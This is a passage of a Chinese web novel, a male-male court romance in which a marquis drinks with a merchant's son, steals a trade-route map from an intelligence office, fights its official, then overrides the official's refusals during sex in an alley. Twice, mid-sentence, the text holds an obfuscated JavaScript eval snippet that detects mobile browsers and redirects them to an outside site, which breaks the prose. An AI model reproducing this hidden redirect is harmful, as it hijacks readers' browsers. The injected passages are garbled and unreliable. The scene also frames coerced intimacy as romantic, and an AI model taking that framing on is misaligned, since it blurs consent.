“就是…就是那晚……”卫清禾的声音越来越小,“府里的下人可都听见了……” “那晚?哪晚?”南无歇抬眼,挑了挑眉,“听见什么了?” “就……就十五那晚…温大人他……”卫清禾脸有点红,“叫得声音挺大的……” 南无歇低笑一声,没接话,只啜了口茶。 卫清禾看他这副样子,索性咬了咬牙,豁出去了:“侯爷,您跟温大人……” 他没说下去,但那眼神里的探究再明显不过。 南无歇放下茶杯,靠在椅背上,看着他:“你想问什么?” “属下就是觉得……”卫清禾挠了挠头,“您这些年,身边也没留过女子……这…您跟温大人这……” 他深吸一口气,像是下定了极大的决心:“侯爷,您该不会……是分桃吧?” 这话一出,暖阁里静了静。 南无歇却笑了,笑得没半分遮掩:“怎么?不像?” 卫清禾闻言像是被雷劈了个瓷实,瞪大了眼愣在原地,半天没说出话来。 这种问题,能从自家侯爷嘴里听到答案,竟还是肯定的答案!简直把他惊得脑子发懵。 “你怕什么?”南无歇看着他这副样子,觉得有趣,“难不成怕我对你有意思?” 卫清禾一个激灵,下意识往后退了半步,头摇得像拨浪鼓:“不…不不!不是……” “放心。”南无歇端起茶杯,“你的性子,太闷,太沉,太无趣,不是我喜欢的类型。” 卫清禾这才松了口气,却又忍不住好奇:“那……温大人他……” “他不一样。”南无歇回忆起那人的每一个神情,不禁勾了勾嘴角,“又野又硬,嘴还犟,跟只炸毛的猫似的,逗起来有意思。” 他顿了顿,补充道:“何况,一开始我还以为他是李昇的人,小皇帝榻上的,还是个带刺的,我总得尝尝滋味不是?” 这话直白得近乎狎昵,卫清禾的脸又红了,张了张嘴,却不知道该接什么。 “行了,别这副表情。”南无歇挥了挥手,“这事没什么大不了的,府里的人知道了也无妨,谁敢嚼舌根,你知道该怎么做。” “嗯嗯嗯…!”卫清禾赶紧应下,心里依旧乱糟糟的。 这么多年了,他今日才知道自家侯爷竟是个断袖?!这太奇妙了。 不过按照道理来说,在军营里南无歇周遭可都是男人,若是真好这口,那大概率会有几个…… 一想到这里,卫清禾简直是不忍直视,大家都是同吃同住、一同浴血奋战上场厮杀的兄弟啊!这…这怎么能…! 但随之而来的便是泼天的好奇,毕竟大家都这么熟了,若兄弟当中真的有人跟自家侯爷那什么… 那可太有的品了! 挣扎再三,他终究是没忍住。 “谁…谁啊…?” 南无歇却被他没头没脑的一句问懵了,瞥了他一眼,“什么谁啊?” 15. 高轩 这日,薛涉川正在院子里鼓捣一罐海马泡的酒,只听到庭外传来急促的大步子声。 “哥!哥!你看!”薛淑玉声音比人先到,跨进来时扬了扬手里的纸条,纸质粗糙,上面只有一行字:今夜贺家赌场,陪我喝两杯。 薛涉川接过来看了眼,“没留名?” “没有。”薛淑玉眼底闪着兴奋的光,“但我敢肯定是那天拳场那个人。” “哦?”薛涉川挑眉,“何以见得?” “除了他谁还有这闲心?”薛淑玉把纸条拿回来揣进怀里,“贺家的赌场,正好让我去会会他。” 薛涉川这次没拦着,只竖起食指在弟弟唇前,道:“早些回来。” “好~” 贺家的“聚福楼”从外面看只是间寻常酒楼,掀开厚重的棉帘,才见内里别有洞天。 大堂里挂着数十盏大灯笼,暖黄的光泼洒下来,映得二十几张赌桌泛着光,骰子落碗的脆响、骨牌甩在桌上的脆响、赢家的吆喝与输家的咒骂缠在一处,混着浓重的酒气与脂粉香,在暖烘烘的空气里发酵,成了京城最纸醉金迷的底色。 南无歇到的时候,薛淑玉已经占了个靠窗的位置,面前摆着两坛烧刀子,见他进来,薛淑玉眼睛一亮,挥了挥手:“这儿!” 南无歇走过去,解了斗篷,露出里面的墨色锦袍,“南无歇。” 薛淑玉笑了:“果然是你。” “猜到了?”南无歇坐下,给自己倒了杯酒,动作慢悠悠的,带着点慵懒。 “我又不傻,”薛淑玉灌了口酒,喉结滚动,“就是没想到传闻中犹如鬼神的南侯爷这么闲,还会特意陪我打拳。” 南无歇举杯,与他碰了碰,“薛二公子常来?” 薛淑玉没接话,只把骰子推过去:“玩两把?” 南无歇挑眉,拿起骰子掂了掂:“我赌技不行,南家可不像你们薛家殷实,输不起。” “输了我不要你的。” 南无歇低笑一声,“那就……玩两把?” 第一把南无歇掷了个“五”,薛淑玉开了个“六”,他笑着推过去一锭银子,“手气果然差。” 随后又一连输了好几把,他将所有银子推了过去,摇摇头笑道:“就说我赌技不行了。” “喝酒喝酒。”薛淑玉撇下骰盅,“不玩了,陪我喝酒。” 南无歇也不推辞,端起酒杯一饮而尽,烧刀子不算什么好酒,很是烈,入喉的时候像火烧,他咳了两声,脸颊真的泛起红,像是不胜酒力。 “南兄这酒量,倒是配不上名声。”薛淑玉打趣道。 南兄??这大靖之内还没人这么叫南无歇呢。 “听闻南兄从前在边关千杯不醉,怎的今日如此不胜酒力?嗯?” 南无歇又倒了杯,却没立刻喝,只百无聊赖地摇晃着酒杯,溅出了一小圈酒液。 “沙场喝酒是为了暖身子,这儿喝酒是为了寻醉,不一样。” 他这话逗得旁边几个酒客都笑了,薛淑玉却没笑,只看着他被酒气熏红的眼尾:“南兄在边关,除了打仗还做什么?” “晒太阳。”南无歇说得坦然,“边关的太阳烈,晒得人骨头缝都暖,不过这九关事儿多,东西南北的我都得操着心,晒太阳的机会也少,净为银子和粮草发愁了。” 他仰头一饮而尽,“听说这座贺家的赌场,一半的利要给嵇家?” “是啊,”薛淑玉浑不在意,“这又如何?京城里的生意都这样儿,一家吃不下。” “我还听说,薛家在北境的商路比朝廷的还快。”南无歇眼神直勾勾,“北边的粮草,或许能更快些?” 薛淑玉闻言定了一下,随后抬眼,正对上南无歇的目光,那双眼睛没有半分醉意。 南无歇之所以如此单刀直入,就是因为他打心底里觉得,薛淑玉是疯的,却不是阴的,更不是蠢的,再加上那人的性格,南无歇确是不反感。 “南侯爷想合作?”薛淑玉笑了,“用什么合作?” 南无歇放下酒杯,直接了当,“我不喜欢贺醒,也不喜欢嵇舟,薛二公子若也想让薛家在京里更上一层楼,我们或许能成为朋友。” “朋友?”薛淑玉低笑,“南侯爷的朋友,怕是不好当吧?” “也没那么不好当,”南无歇也笑了,“也分人。” 薛淑玉试探得明显,南无歇字字句句都答得坦率,但要真说起来,这南无歇也不算实在,他查薛家、查贺家,可从来不只是为了那点合作的利,他更想知道京城里的钱,到底聚在谁手里。 当然,边关的将士们需要钱和粮也是真的。 “侯爷手下的兵若想要钱,大可跟朝廷开口,”薛淑玉的语气淡了些,“何必这么麻烦?” “人家的钱哪有自己的花着舒心,”南无歇忽然凑近,“何况,我想要的,未必是人家肯给的。” 这话太敏感,尤其对于他南无歇这个身份。 薛淑玉看着这人的眼睛,突然想起哥哥说的话:南无歇是把双刃剑,用好了能劈开贺家的路。 两人没再扯这个话题,酒过三巡,南无歇的话多了起来,东拉西扯,薛淑玉也乐得陪他耗着,偶尔插句话,眼底的兴味却越来越浓。 两人一杯接一杯地喝,话题从北境的风沙聊到京里的花灯,从战马的性子说到养鹰的诀窍,偏偏绕开了所有要紧事,南无歇偶尔还会因为薛淑玉说的笑话拍着桌子笑,像个真的喝多了的莽夫。 直到三更天,楼下的赌客散了大半,南无歇才摇摇晃晃地站起来,手撑着桌子才没摔倒:“不……不喝了,再喝就走不动了。” 他的脸颊红得厉害,眼神也有些发直,连斗篷的带子都系错了。 薛淑玉看着他这副样子,忽然觉得有趣:“真醉了?” “没……没有。”南无歇摆了摆手,脚下却打了个趔趄,“我酒量好着呢……” 话没说完,胃里忽然一阵翻涌,他捂住嘴,转身就往外跑,斗篷的一角扫过桌沿,带倒了空酒坛,发出“哐当”一声响。 薛淑玉看着他踉跄的背影,端着酒杯的手顿了顿,薛府的小厮凑过来问:“公子,要派人送送吗?” “不用。”薛淑玉摇摇头,“他没醉。” 没醉,却装醉,那就说明对方一会有别的安排不想被打扰,薛淑玉是个“可心人”,既然那人不想被打扰,他便不去打扰就是。 夜风像刀子似的刮过巷口,卷着雪粒子打得脸生疼,南无歇扶着冰冷的砖墙,胃里的酒气混着酸水猛地往上涌,他弯着腰,“哇”地吐了出来。 烧刀子的烈气呛得他眼泪直流,喉咙里又辣又疼,他咳了好一阵才缓过劲来,随后用袖子胡乱擦了擦嘴。 巷子里静得很,他望着地上那滩狼藉,忽然低笑一声,演了半宿的醉鬼,倒是把自己真给呛着了。 他直起身,刚想往谛听台衙门走,忽然顿住了脚步,胃里的翻腾还没平息,后脑勺就开始隐隐有些发沉。 “妈的…这破烧刀子,还真他娘的烈…” *** 次日深夜,月色如霜,泼在谛听台的青瓦上,泛着冷光。 南无歇一身夜行服,蒙着黑布只露双眼,像道影子般贴在谛听台后墙的阴影里。 谛听台是温不迟的地盘,防卫比李昇的寝宫还严密。 南无歇却像走自家后院似的,手指在墙缝里摸索片刻,找到块松动的砖,轻轻一按,“咔哒”一声轻响,墙面上露出个仅容一人通过的暗门。 他猫腰钻进去,里面漆黑一片,弥漫着尘土与铁锈的味道,脚下的石板凹凸不平,每走三步就得避开地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526723|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的翻板,头顶不时有细针落下,需得侧耳听着风声才能预判躲过。 这哪是值房的样子,皇陵的暗器构造也不过如此了吧… 南无歇走得极稳,指关节在石壁上轻敲,凭着回声判断机关的位置。 又走了几步,刚转过一道弯,迎面忽然射出一排弩箭! 他足尖一点,身形如纸鸢般往后飘,同时反手甩出三枚石子,精准地打在弩箭的机括上。 “咔咔”几声,弩箭应声哑火。 再往前,是条窄窄的甬道,地面铺的砖却有一半是松动的,他盯着松动石砖的纹路看了片刻,忽然想起温不迟书房里那幅《山河图》。 他思忖片刻,凭记忆踩着画中的“水纹”的空白处往前走,每一步都分毫不差。 脚下的石板偶尔震动,却始终没触发机关。 一刻钟后,他终于摸到卷宗阁的木门,可让人奇怪的是阁门竟连个锁都没上,本该挂锁的梁环竟是空的! 他的手顿了顿,感觉不对劲。 甬道机关尚且如此复杂精密,这最终的卷宗阁却锁都不锁,这绝对有问题。 可来都来了,他思忖片刻,最终还是伸手推开了门。 阁里弥漫着墨香与樟木的味道,一排排书架顶天立地,上面摆满了卷宗,标签上写着各大家族的名号。 南无歇摸着黑走到标着“商路”的区域,手指划过书脊,很快就找到了那本《京城商脉图》。 书页里夹着张羊皮卷,上面标注着贺家和薛家的“资产”,还有几家隐秘钱庄的位置,密密麻麻,像张织满了银线的网。 南无歇将羊皮卷揣进怀里,勾了勾唇角,转身便朝阁外走去。 原路返回时他贴着石壁滑行,动作利落得像抹掠影。甬道尽头的暗门被推开,带起一阵尘土,他闪身进入后院,月光恰好从云层里钻出来,照亮了他的眼睛,也照亮了墙角那丛半枯的梅。 夜更静了,只有风吹过梅枝的呜咽声,他放轻脚步,朝着后门的方向走。 就在距离那扇门只剩有不到五步时,阴影里忽然传来一声轻响,像有人踩断了枯枝。 南无歇的脚步顿住,周身的气息瞬间绷紧,他没回头,只用眼角的余光扫向右侧,那片被假山挡住的阴影里,不知何时站了个人。 那人缓缓走出来,踩过地面的落叶,发出细碎的声响,月光一点点爬上他的脸,先是勾勒出挺直的鼻梁,再是抿紧的唇线,最后是那双诱人的桃花眼。 温不迟彻底走出黑暗,站定,南无歇没动,也没开口说话,面罩遮住了他大半张脸,只露出双眼睛,在月光下泛着光。 二人对视片刻,温不迟忽然笑了,那笑意从唇角漫到眼底,“南侯爷深夜造访下官的谛听台,倒像是回自己家似的。” 他的声音不高,却清晰地穿透夜风,语气里没有惊慌,没有怒意,反倒像早就在此等候,连语气都带着“等你好久了”的了然。 “温大人倒是清闲,大半夜的在自家值房门口……赏月呢这是?”南无歇声音透过面罩,显得有些沉闷。 “比起侯爷潜入谛听台偷东西,下官这点清闲算不得什么。”温不迟的青衫在月光下泛着柔和的光,与他眼底的冷傲形成奇异的反差,“卷宗阁的机关,侯爷闯得如此顺手,看来是做足了功课。” 开口间那抹青影丝毫未动,只持着冷淡的语气和孤傲的眼神,将这些看似问罪的冷嘲热讽轻飘飘的全部掷向南无歇。 南无歇看着温不迟半明半暗的面庞,心上忽然像是爬上了几只小蚂蚁,痒痒的,他没接话,只微微侧身做好了准备。 果然,温不迟的手忽然动了!屈指轻弹,一枚铜钱带着破空的锐响,直取南无歇的面门! 南无歇偏头避开,铜钱“笃”地钉在身后的梅树干上!入木三分。 16. 压制 温不迟上来就是一掌! 掌风直逼南无歇的胸口,招式刚猛如惊雷,带着股要将在对方那里丢失的一切都讨回来的架势。 南无歇可太喜欢跟温不迟打架了,那人招招狠戾,全然是奔着取命而来,可二人也都清楚这悬殊的武力差距,南无歇痴迷的正是这种将对方所有挣扎一一瓦解,最终彻底驯服的过程。 这是一种专制的占有,一场极致掌控的征服。 南无歇借着旋身的势头,手臂若有似无地擦过那人的胸膛,引得温不迟的招式顿了半分。 “分心了?”南无歇低笑一声,肩头往前一撞,正在温不迟的胸口。 随后,拳脚相击的闷响在空荡的后院炸开。 南无歇故意借着动作,在二人身体接触间吃着那人的豆腐。温不迟气恼,身法则更显灵动,像条滑溜的鱼,总能从对方的攻势里钻空子。 缠斗间,南无歇故意卖了个破绽,左肩微沉,温不迟果然趁机欺近,手肘直顶他的颈窝,却在触到衣料的瞬间察觉不对,猛地收力后退。 “温大人倒是谨慎多了。”说着,南无歇同时伸手想去抓他。 温不迟后仰避开,点地跃起,从袖中摸出柄短刃,刃身极薄,在月光下几乎看不见。 他陡然冷了,带着被戏耍的怒意,招式愈发凌厉。 南无歇拳风扫过梅枝,带落的黄叶恰好落在温不迟的肩头,他伸手想去拂,却被对方挥开,短刃已然出鞘,薄如蝉翼的刃身映着月光。 “侯爷偷了下官的东西,总得留点什么下来。” 话音落地,短刃便划向南无歇的手腕,带着破釜沉舟决然。 南无歇眼底闪过一丝光。 太对了!这才是温不迟!一只咬住了敌人便再也不松口的豹子! 拳掌交加,胸肩相碰,温不迟的手中刃丝毫不留情面的直取南无歇狗命。 但南无歇却也不怕,招招相迎。 绞缠厮杀间,只见南无歇正拳直出向温不迟,带着风声,可就在二人身形交错时,他咧嘴一笑,轻飘飘地在人耳边吹了一口气,随后顺势闪身至人身后。 温热的气息拂过耳廓,温不迟浑身一僵,短刃瞬间偏了方向,就这刹那的失神,南无歇已扣住他的手腕,反手将他按在假山上。 温不迟猛地挣动,用肩头撞向他的下巴,力道很大,南无歇也破天荒的识相地立即松了手,眼底的戏谑都快流了出来:“下次温大人想打架不如约在榻上,在这里你打不过我的。” 温不迟闻言羞恼,眸色一沉,抬腿便踢,直冲南无歇的胸膛。 南无歇微微一侧身,抬手便握住那人的脚踝,掌心顺着温不迟的小腿往上滑了半寸,随后刻意用力握了握。 温不迟刚想说点什么,南无歇就钳着他的腿往身前一拉,温不迟飞身旋起,挣脱开骚扰自己的那只手。 短刃与掌风交错,青衫与夜行服纠缠,带起的气流吹得地上的落叶打着旋儿飞,月光在两人身上流转,南无歇沉浸于温不迟在他压制下爆发式的抵抗,这看似凶险的过招于他而言,不过是场“醉翁之意不在酒”的撩拨游戏,那人的愤慨恰是他征服欲的最佳佐料。 就在南无歇单方面沉浸于与温不迟的暧昧缠斗,借肢体的每一次碰撞狎昵游走,而后者正因这戏弄羞愤交加杀招尽出之际,前院骤然一声厉喝,撕裂了二人之间这耳鬓厮磨的拉扯。 “谁在后面?!” 谛听台守卫的声音划破裹着拳风的月色,带着甲胄碰撞的脆响,听声音正往这边赶来。 南无歇的注意力瞬间散了半分,他本想悄无声息地带走卷宗,没必要惊动太多人。 然而就这片刻的迟滞,温不迟已抓住破绽。 青影一闪,温不迟欺近身,拳头带着凝聚的力道,狠狠砸在南无歇的胸上! “呃!” 南无歇只觉一股锐痛顺着身躯蔓延开,呼吸骤然一窒,身体不受控制地向后倒去。 一个庞然大物砸在地上,尘土微扬。 温不迟微微侧对着他,胸口轻微起伏,后方头顶的月光将他周身融上一层薄薄的银辉,他没继续动手,只居高临下地垂眸看着地上的人。 前院的脚步声越来越近,“谁在那?快报上名来!” 温不迟微微眯起眼睛挑了挑眉,那双眼眸里此刻尽是薄情和倨傲。 南无歇喘着粗气,看着温不迟正垂眸睥睨着自己,忽然觉得胸一点也不疼了,眼里渐渐浮现兴奋的光。 随后,只见温不迟缓缓抬起脚,轻轻落下,稳稳踩在南无歇的胸口上,力道不重,却带着绝对的掌控力。 “谁在那里?!”守卫的声音更近了,火把的光已晃到了院门口,“说话!” 就在守卫即将要推门而入时,温不迟才冷声开口,那声音就像是在冰河里泡了上万年的玉石,又冷又硬,却清透迷人。 “无妨,”他语调平缓,目光始终在南无歇脸上,“一条野犬罢了。” 南无歇被踩住的胸口随着呼吸微微起伏,他看着温不迟高高在上的模样,看着那人故作轻飘飘的压了他一头,看着那人用最冷静凉薄的神态展现自己的压制,胸腔的起伏不由得变了节奏。 温不迟身上这股又硬又野的劲儿他可太吃了!他兴奋得呼吸加快!他兴奋得心里想有一团火在燃烧! 守卫们听到自家大人的声音便放下了心,随后恭敬离去。 院门口的脚步声渐渐远去,温不迟似乎察觉到南无歇灼热的目光,脚下微微加重了力道。 南无歇却只是眨了眨眼,眼睛亮得像落了星光,透着满足和纵容,随后咧开嘴角。 后院重归寂静,只有两人的呼吸声在静谧中交织,一个急促,一个平稳,温不迟的脚还踩在南无歇胸口,他当然知道南无歇要偷什么,那商脉图上,贺家的赌坊与嵇家的官员任免勾连得密密麻麻,每一笔银钱往来都浸着脏水。 南无歇若是出手,倒省了他不少功夫。 两人的目光在月光下撞在一起,无声地交换了几个来回。 良久,温不迟终于缓缓抬起脚,撤回了那点压迫感。 南无歇一骨碌爬起来,拍了拍衣襟上的尘土,胸口的钝痛还在,但心里是一万个开心。 他脸上的笑意却更浓了,就那样歪着头看温不迟,眼里的满足几乎要溢出来。 温不迟转过身,背对着他整理衣袖,刚才那一眼里的纵容像根羽毛,轻轻搔过心尖,让他莫名有些烦躁。 月光在他们之间拉出一道无形的线,一端系着未熄的战意,一端缠着说不清道不明的默契。 “温大人脚上的功夫……真不错。” 热气拂过耳廓,语调像带着钩子,勾得温不迟的拳头猛地攥紧。 他没回头,只听见身后传来布料摩擦的轻响,再转头时,柴门已经半掩,身影早已消失在夜色里,只留下一缕若有似无的檀香,混着雪气,在空气里弥漫。 *** 等温不迟处理完谛听台的狼藉时月色已斜斜挂在西天,他换了身干净的青白狐裘走出衙门大门,并未乘轿,他打算抄近路走回府。 刚拐进那条僻静的小巷,就见南无歇靠在巷口的树下,夜行服已换成墨色锦袍,月光落在他肩上,像落了层薄雪。 温不迟的脚步顿住,两人隔着半条巷对视,空气里仿佛又响起了拳脚相接的闷响。 南无歇笑着朝他缓步走来,那笑意在温不迟眼里十分刺眼,像猫见了爪下的鼠,绝对压制性地打量着。 温不迟的警惕瞬间拉满,手腕一翻,藏在袖中的短刃再一次滑入掌心。 “温大人这是还没打够?”南无歇的声音里带着笑意,脚步却没停。 话音未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526724|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,温不迟已动了! 他不喜欢这人的从容,不喜欢他的步步紧逼,更不喜欢自己在这人面前总是被压制。 南无歇却像早料到此,侧身避开锋刃,没外界因素掺合,不过三招两式他就把温不迟牢牢箍在怀里,任其怎么挣扎都纹丝不动。 他将怀里的人往墙壁一压,唇畔贴近对方的耳廓,语调蛊惑得像情人间的私语。 “方才那一脚,温大人踩得可还爽?” 气息滑过,又热又痒,可温不迟依旧持着倨傲的态度,丝毫说不了软话,哪怕被按住了也依旧是只会龇牙的豹子。 他微微抬头,喘着粗气侧目身后之人,眼底一片轻蔑与冷傲。 “自然是爽的,毕竟这世间能踩侯爷胸口的人,怕是没几个。” 南无歇低笑起来,胸腔的震动弄得温不迟后颈一阵发麻。 “爽就好,我也挺爽的,方才爽,现在爽……” 他顿了顿,故意在温不迟的腰侧轻轻捏了一下。 “等下,会更爽。” 温不迟后颈的汗毛瞬间竖了起来,他太知道南无歇说的“更爽”是什么意思,那日在南侯府里的那种屈辱又失控的感觉,瞬间再次涌上心头。 他猛地挣扎起来,声音里终于带了点慌乱:“南无歇,你放开!” 南无歇却抱得更紧了,下巴轻轻搁在他的肩窝,“别闹。” 巷口的月光忽然变得有些烫人,风也停了,剩下两人交缠的呼吸声,粗重得像要把夜色烧开个洞。 南无歇向来不会让自己欲求不满,更不会败自己的雅兴,他不由分说地将人转过身来,带着欲将人吞噬的力道碾过温不迟的唇。 温不迟甚至还没反应过来,激烈的偏头去躲,却被那人掼着下颌转回来,只能被迫承受这带着目的性极强的吻,齿间都是对方身上的檀香混着雪夜的清冽。 “放、放开……” 温不迟的声音闷在唇齿间,带着破碎的怒意,那人的手臂却始终圈着他的腰,屠城似的将他按在墙面上。 后背一片冰凉,身前却抵着滚烫的胸膛,冰火两重天的滋味让他浑身发颤。 南无歇根本不给缓气的机会,他的吻顺着温不迟唇角滑到颈侧,在那片细腻的皮肤上啃咬出红痕。 “温大人方才踩得那么尽兴,现在就想跑?这不太合适吧?” 他的手探进温不迟的衣襟,轻轻滑过皮肤,引得对方一阵瑟缩。 “你混蛋……” 温不迟的骂声气的发颤,他感觉自己就像只被剥了壳的虾,暴露在对方的目光里,连挣扎都显得徒劳。 “是啊,我是混蛋,”南无歇轻咬着他的耳垂,“我就是混蛋。” 他的手猛地收紧,将温不迟抱得更紧,两人的身体贴得没有一丝缝隙,温不迟浑身都绷紧了,动弹不得,只能任由对方的吻一路往下,烧得他骨头都软了。 “这里不行…”他不肯哀求,语气仍旧是冰冷的命令式,但尾音却已经微微飘了,“不能在这。” “就是在这里才有趣。”南无歇解开他的系带,狐裘滑落肩头,“在这里……说不定还能有人撞见——” “你敢!”这话刺得温不迟猛地抬头打断,眼底又燃起怒火。 “我有什么不敢的。”南无歇笑得更野了,忽然将人扛上肩头,往巷子更深处走去,那里堆着些废弃的柴草,勉强能挡住些声响。 温不迟的惊呼被堵在了喉咙里,死死攥着南无歇的腰带,任由那人将他按在干草堆里。 随后,吻密密麻麻地落下来,像要把他吞进肚子里。 南无歇说要换个宽敞一些的地方,可这天大地大的室外,对于温不迟来说,真的是最糟糕的地方。 “南无歇……”他的声音碎在风里,一半是怒,一半是自己都不愿承认的无能,“你…你混蛋……” 17. 疏狂 巷子深处的柴草堆被压出凹痕,温不迟的青裘被揉得皱巴巴的,半边肩膀露在冷空气中,喉间溢出的气音被南无歇吻得七零八落。 “别咬……”他偏头躲开颈侧的啃咬,语气带点破碎,“会有印记。” 南无歇或许有一个土匪梦吧,对方越是不要他就越是想要。 “有印记才好,”他抬手扯开自己的外袍,披在温不迟露着的肩上,掌心却顺着衣料滑下去,停在那人的腰间,轻轻一按,逼出一声(口耑) “让京城的人都知道,温大人原是这个样子的。” 温不迟的脸“腾”的气红了,又羞又怒,抬膝想去抵住南无歇的身子,却被南无歇握住脚踝,架在了肩上。 冰冷的夜风顺着缝隙钻进来,温不迟瑟缩了一下,却被更滚烫的体温裹住,连挣扎的力气都仿佛被抽干了。 “滚…你滚……” 这骂声落在南无歇耳里反倒成了最最勾人的饵,他吻去温不迟眼角的湿意,手掌拂过那人的侧脸,动作忽然放轻了些。 二人目光相撞,南无歇一时间看晃了神,像是被这人眼底的水光吸了进去,忽然整个世界全然消失了,半分都不剩下,满心满眼只剩下那人的一双桃花眼。 须臾,他鬼使神差地罕见温柔认真道:“温不迟,你真好看。” “滚——” 还没骂完,南无歇就低头碾磨上温不迟的唇瓣,那架势像是要将整个人塞入腹中,急迫、决绝、无法克制地想要得到。 他起初对温不迟的心思与其说是想要“拥有”,不如说是想要“占有”,因为那是李昇的人,是帝王的人,可此时此刻,他只想要拥有这双眼睛,就在此刻。 可于他而言,任何东西都是需要靠硬实力争抢来,儿时的自由、地缘的领土、手握的权利。 也包括人。 这也是为何相较于双方共识能够达成同针锋相对一样的结果时,他仍然偏向于后者,因为针锋相对所决出的高下才更能体现出“硬实力”。 于是,他骨子里蓬勃的征服欲逐渐悄无声息的渗透到了他的方方面面。 少顷,南无歇稍稍离开了温不迟的唇,继而便是黏黏糊糊的蹭吻和厮磨下的轻啄。 “反抗我,或者……请求我。” 反抗无用,求又求不出口,温不迟别过脸不看他,身上的热度像要烧穿皮肉,顺着血脉往骨子里钻,一寸寸瓦解他的防线。 南无歇勾上温不迟的腰带,轻轻一扯,刚一松散便被那人握住了手。 “别……”温不迟的声音终于带着点妥协,“太冷了……” 南无歇低笑一声,将他抱得更紧,外袍彻底裹住两人,隔绝了风雪,随后滚烫的轻吮便落在了温不迟的颈侧,又痒又烫,一阵酥麻。 “忍一忍,等会儿就不冷了。” 温不迟闭了闭眼,任其探索自己的领域。 不知多久,南无歇终于半直起身子,温不迟也抬眸看他,手上还揪着那人的衣襟。 巷口的月光漏进一丝,恰好照在温不迟泛红的眼尾,那点水光恍得南无歇急不可耐。 “你…”温不迟的声音碎在喉咙里,带着点气音,却不是全然的抗拒。 南无歇吻了吻他的唇角,掌心轻轻抚摸着他的头顶,像在安抚一只受惊的幼猫。 “放松,不会有事的,一会就好。” (此处删减121个字) 巷子里的呼吸越来越重,温不迟的挣扎渐渐弱了下去,偶尔溢出的气音被夜风剪碎,又被南无歇的吻温柔地接住。 南无歇腰腹绷紧,投入得彻底,吻顺着颈线往下,落在那片喘/息起伏的胸口。 (愿以吾辈之青春,捍卫盛世之中华,希望我敬爱的祖国繁荣昌盛,希望我华夏儿女百无禁忌,希望尊贵的审核大人日日顺心。别锁我了,拜托拜托~) “南…南无歇……”温不迟的声音里多了点别的东西,说不清是怒是怨,还是别的什么,像根细弦,被拨得嗡嗡作响。 “嗯?”南无歇气都喘不顺地应着。 温不迟抬手,抵住了南无歇的肩膀,“帮。。我料理了。。料理了嵇家,我、我要他们失势…” “好…”南无歇用着力,笑着欣赏他,“…还要什么?” (还要拥护我们的祖国!作为共产主义接班人,我们一定要坚定立场!爱国爱同胞!自立自强!当然我们也要爱晋江文学城!要爱我们的审核大人!审核大人辛苦了,一定要记得好好吃饭,好好睡觉~) 温不迟气(口耑)得也并不是很顺畅,他突然攥住南无歇头发,紧了些,又紧了些。 “要你的人头!我要你的人头!” 看着眼下之人的气急败坏和无能为力、享受又不享受的样子,南无歇瞬间发了疯的燥热,他兴奋得笑容更深。 “好…”他粗/喘着吻了下去,“我给。” (此处删减77个字) 温不迟的呼吸越来越乱,他死死捂住自己的嘴,指缝里漏出的呜咽都带着颤,生怕那点失控的声响会漫出这巷子。 南无歇垂眸看着他这副隐忍的模样,温柔诱哄道:“没事的,这么晚了,谁会来?” 说着,他直起身子,唇角微翘,握住温不迟的手腕从嘴上拿开,随即将那人的手放到自己半敞的(月匈)(月堂)上,缓缓往下带着。 (审核大人求你了求你了,别锁我了,真的没得改了呜呜呜。我会认真码字,保持稳定更新,矜矜业业坚持为读者呈现故事!我会坚定理想信念,主动践行社会主义核心价值观,一如既往坚持为祖国做贡献!) 温不迟能感受到他紧实的肌肉轮廓,以及滚烫的肌肤温度,如此寒冷的环境,那人皮肤上已然覆上了一层薄汗,可见方才绝没收力忙活。 温不迟猛地偏头,躲开南无歇侵占性极强的目光,另一只手又要捂上来,却被那人牢牢摁在身下的柴草里。 “叫出来,像那天在府里一样……叫给我听。” (我将坚决拥护“新时代坚持和发展中国特色社会主义的基本方略”与“□□文化思想”!坚定、坚持二为方向、双百方针以及两创方针!伟大!光荣!我党万岁!) 他说着,还恶劣一用力,嘴角的弧度既诱又邪,眼睛亮得直逼高悬的月亮。 “唔——” 一声压抑的轻吟没忍住,从温不迟唇缝溢出来,像颗石子投进静水里,荡得他的脸瞬间爆红。 他努力的想瞪向南无歇,却因着一浪接一浪的(我爱你中国)力(我爱你晋江)道实在无法对焦,眼底的水光混着怒火,声音从齿缝里挤出来,又狠又急: “我要你的人头…我要你的人头!!” 这话本是恶毒的利刃,在南无歇这里却是最烈的酒,瞬间点燃了他眼底的火。 “好好好。”他低笑着连说了三个好,每个字都裹着满足的纵容。 随后,他俯身咬住温不迟的唇,力道又重了几分,“等你有力气了,尽管来取。” 看着温不迟气得发抖又动弹不得的样子,看着那双失焦的桃花眼里又怒又慌的光,南无歇只觉得浑身的燥热都找到了出口,连呼吸都带着兴奋的喟叹。 这只令百官肝颤的会咬人爱炸毛的小豹子,此刻被他牢牢按在了掌心里。 风又起,那偶尔泄出的带着怒意的细碎声响,在寂静的夜里,格外撩人。 风雪不知何时停了,只剩下月光漫过柴草堆,在两人交缠的身影上投下一片模糊的暖。 *** 腊月的风跟刀子似的刮着脸,京城刚下了场大雪,大街上一片白,踩上去咯吱响。 南无歇揣着手走在前头,步子慢悠悠的,崔始颉裹着件厚狐裘跟在后头,嘴里不停歇地念叨。 “永辞哥,你看那家糖人摊,上次我买了个猴子的,结果画的一点儿也不像。”崔始颉指着街角,鼻头冻得粉红。 